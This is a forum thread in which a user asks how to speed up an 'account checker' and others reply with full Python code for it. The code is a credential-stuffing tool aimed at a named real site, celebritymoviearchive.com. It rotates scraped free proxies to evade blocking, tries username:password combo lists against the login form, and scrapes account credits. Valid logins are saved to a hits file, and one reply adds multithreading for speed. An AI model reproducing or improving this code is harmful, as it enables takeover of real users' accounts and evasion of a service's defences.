How can I make this code faster ? multithreading or async?

[314]

Hi guys I am making an account checker and I need to do it faster but I don't know how to use multithreading or use async? First I am getting proxies as shown in below then I choose wordlist to check if account exists, then I check them with requests library and then get the results in a text file:
 

 

Code:

 

[60]

Hi guys I am making an account checker and I need to do it faster but I don't know how to use multithreading or use async? First I am getting proxies as shown in below then I choose wordlist to check if account exists, then I check them with requests library and then get the results in a text file:

Just some very basic modifications. Don't quote me if you don't like them
Place the user:pass data in a txt file and name it "data.txt". Handle errors on your own.

Code:

from concurrent.futures import ThreadPoolExecutor
from threading import Lock
import random
import requests
from bs4 import BeautifulSoup
from os import getcwd

rp = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=5000&country=all&ssl=all&anonymity=all')
proxies = rp.content.decode().replace('\r', '').split("\n")
proxies.remove('')

# load user:pass from data.txt
user_data = [line.rstrip() for line in open(f"{getcwd()}\\data.txt").readlines()]
lock = Lock()


def checker(x):
    try:
        username = x.split(":")[0]
        password = x.split(":")[1]
    except IndexError:  # if there is no :
        print(f"[BAD] | {x}")
        return

    try:
        login_headers = {
            'Host': 'www.celebritymoviearchive.com',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Accept-Language': 'tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Origin': 'https://www.celebritymoviearchive.com',
            'Dnt': '1',
            'Referer': 'https://www.celebritymoviearchive.com/members/index.php',
            'Upgrade-Insecure-Requests': '1',
            'Sec-Fetch-Dest': 'document',
            'Sec-Fetch-Mode': 'navigate',
            'Sec-Fetch-Site': 'same-origin',
            'Sec-Fetch-User': '?1',
            'Connection': 'close',
        }
        proxy = {
            'http': 'http://'+random.choice(proxies)
        }

        payload = f"username={username}&password={password}&loginsubmit=%C2%A0"

        r = requests.post('https://www.celebritymoviearchive.com/members/index.php',
                          headers=login_headers, data=payload, proxies=proxy, timeout=30)

        cookieResponse = r.cookies["cmaauth"]
        cookies = {
            'cmaauth': cookieResponse,
        }

        check_account_headers = {
            'Host': 'www.celebritymoviearchive.com',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Accept-Language': 'tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3',
            'Referer': 'https://www.celebritymoviearchive.com/members/mydownloads.php',
            'Dnt': '1',
            'Upgrade-Insecure-Requests': '1',
            'Sec-Fetch-Dest': 'document',
            'Sec-Fetch-Mode': 'navigate',
            'Sec-Fetch-Site': 'same-origin',
            'Sec-Fetch-User': '?1',
            'Connection': 'close',
        }

        r = requests.get("https://www.celebritymoviearchive.com/members/account.php", cookies=cookies,
                         headers=check_account_headers, proxies=proxy, timeout=30)
        soup = BeautifulSoup(r.text, "html.parser")
        credit = soup.select_one('div.logout > h2:nth-child(1)').text
        with lock:  # if you use too many threads then python will start printing in same line and I don't like it
            print(f"[HIT] {username} | {password} | Credits: {credit}")
            with open(f"{getcwd()}\\hits.txt", "a") as f:
                f.write(f"{username}:{password} | Credits: {credit}\n")
        return
    except (ConnectionError, TimeoutError):
        with lock:  # if you use too many threads then python will start printing in same line and I don't like it
            print("Proxy Issue, Retrying..")
        checker(x)  # let's not skip it because of proxy issue, there are some other proxy errors as well like httperror, find it yourself
    except:
        with lock:  # if you use too many threads then python will start printing in same line and I don't like it
            print(f"[BAD] | {username} | {password}")


if __name__ == '__main__':
    try:
        thread_count = int(input("Enter thread count: "))
    except ValueError:
        input("Asked for Thread Count! Enter Numbers Only!")
        quit()

    with ThreadPoolExecutor(max_workers=thread_count) as executor:
        for data in user_data:
            executor.submit(checker, data)

    executor.shutdown(wait=True, cancel_futures=False)
    input("Press 'Enter' to exit.")

Need help with your Python code? Let me know.

[314]

thanks man, your code is better than mine

[1.851]

you could try using > https://github.com/SirDank/dankware :)

@emptyyy is my dad | http://bottersheaven.xyz

[65]

Hi guys I am making an account checker and I need to do it faster but I don't know how to use multithreading or use async? First I am getting proxies as shown in below then I choose wordlist to check if account exists, then I check them with requests library and then get the results in a text file:
 

 

Code:

 
from concurrent.futures import ThreadPoolExecutor
from tkinter import Tk
from tkinter.filedialog import askopenfilename
import random
import requests
from bs4 import BeautifulSoup
from past.builtins import raw_input

Tk().withdraw()

print("""/***
* ______ .___ ___. ___ ______ __ __ _______ ______ __ ___ _______ .______
* / || \/ | / \ / || | | | | ____| / || |/ / | ____|| _ \
* | ,----'| \ / | / ^ \ | ,----'| |__| | | |__ | ,----'| ' / | |__ | |_) |
* | | | |\/| | / /_\ \ | | | __ | | __| | | | < | __| | /
* | `----.| | | | / _____ \ | `----.| | | | | |____ | `----.| . \ | |____ | |\ \----.
* \______||__| |__| /__/ \__\ \______||__| |__| |_______| \______||__|\__\ |_______|| _| `._____|
* _______. __ __ ___ _______ ______ ____ __ ____ ______ ___
* / || | | | / \ | \ / __ \ \ \ / \ / / |____ | / _ \
* | (----`| |__| | / ^ \ | .--. || | | | \ \/ \/ / / / | (_) |
* \ \ | __ | / /_\ \ | | | || | | | \ / / / > _ <
* .----) | | | | | / _____ \ | '--' || `--' | \ /\ / / / | (_) |
* |_______/ |__| |__| /__/ \__\ |_______/ \______/ \__/ \__/ /_/ \___/
*
*/""")



cekilenProxyler = []

responseProxy = requests.get(
'https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=5000&country=all&ssl=all&anonymity=all')
proxies = responseProxy.text

with open('Proxies.txt', 'w') as proxyFile:
proxyFile.write(proxies)
proxyFile.close()

with open('Proxies.txt') as reader, open('Proxies.txt', 'r+') as writer:
for line in reader:
if line.strip():
writer.write(line)
writer.truncate()

reader.close()
writer.close()

with open('Proxies.txt') as f:
for line in f:
cekilenProxyler.append(line.strip())
f.close()
# working_proxies = []
# for j in cekilenProxyler:
# headers = {
# 'Host': 'www.celebritymoviearchive.com',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0',
# 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
# 'Accept-Language': 'tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3',
# 'Content-Type': 'application/x-www-form-urlencoded',
# 'Origin': 'https://www.celebritymoviearchive.com',
# 'Dnt': '1',
# 'Referer': 'https://www.celebritymoviearchive.com/members/index.php',
# 'Upgrade-Insecure-Requests': '1',
# 'Sec-Fetch-Dest': 'document',
# 'Sec-Fetch-Mode': 'navigate',
# 'Sec-Fetch-Site': 'same-origin',
# 'Sec-Fetch-User': '?1',
# 'Connection': 'close',
# }
# proxy = {
# 'http': 'http://' + j,
# }
# res = requests.get('https://www.celebritymoviearchive.com', proxies=proxy, headers=headers)
# print(res.status_code)
# if res.status_code == 200:
# working_proxies.append(j)

path = askopenfilename()
file1 = open("Hits.txt", "w")
usernames = []
passwords = []
with open(path) as data:
for line in map(str.strip, data):
try:
pos = line.index(':')
usernames.append(line[:pos])
passwords.append(line[pos + 1:])
except ValueError:
pass # ignore this line as no colon found


def checker():
for i in range(len(usernames)):
proxyy = random.choice(cekilenProxyler)
try:
headers = {
'Host': 'www.celebritymoviearchive.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'https://www.celebritymoviearchive.com',
'Dnt': '1',
'Referer': 'https://www.celebritymoviearchive.com/members/index.php',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1',
'Connection': 'close',
}
proxy = {
'http': 'http://'+proxyy
}
data = 'username=' + usernames[i] + '&password=' + passwords[i] + '&loginsubmit=%C2%A0'

response = requests.post('https://www.celebritymoviearchive.com/members/index.php', headers=headers, data=data, proxies=proxy)
cookieResponse = response.cookies["cmaauth"]
cookies = {
'cmaauth': cookieResponse,
}

headers2 = {
'Host': 'www.celebritymoviearchive.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3',
'Referer': 'https://www.celebritymoviearchive.com/members/mydownloads.php',
'Dnt': '1',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1',
'Connection': 'close',
}

response2 = requests.get('https://www.celebritymoviearchive.com/members/account.php', cookies=cookies,
headers=headers2, proxies=proxy)
html = response2.text
soup = BeautifulSoup(html, "html.parser")
credit = soup.select_one('div.logout > h2:nth-child(1)').text
print(
f'[HIT] | {usernames[i]} | {passwords[i]} | Credits: {credit} ')
file1.write(usernames[i] + ':' + passwords[i] + ' | Credits:' + credit)

except:
print(f'[BAD] | {usernames[i]} | {passwords[i]} ')

with ThreadPoolExecutor() as executor:
executor.map(checker)
raw_input("Press enter to exit ;)")
file1.close()

You can make better code for the first part (api) 

Code:

req = requests.get(f"https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all")
proxies = req.text.splitlines()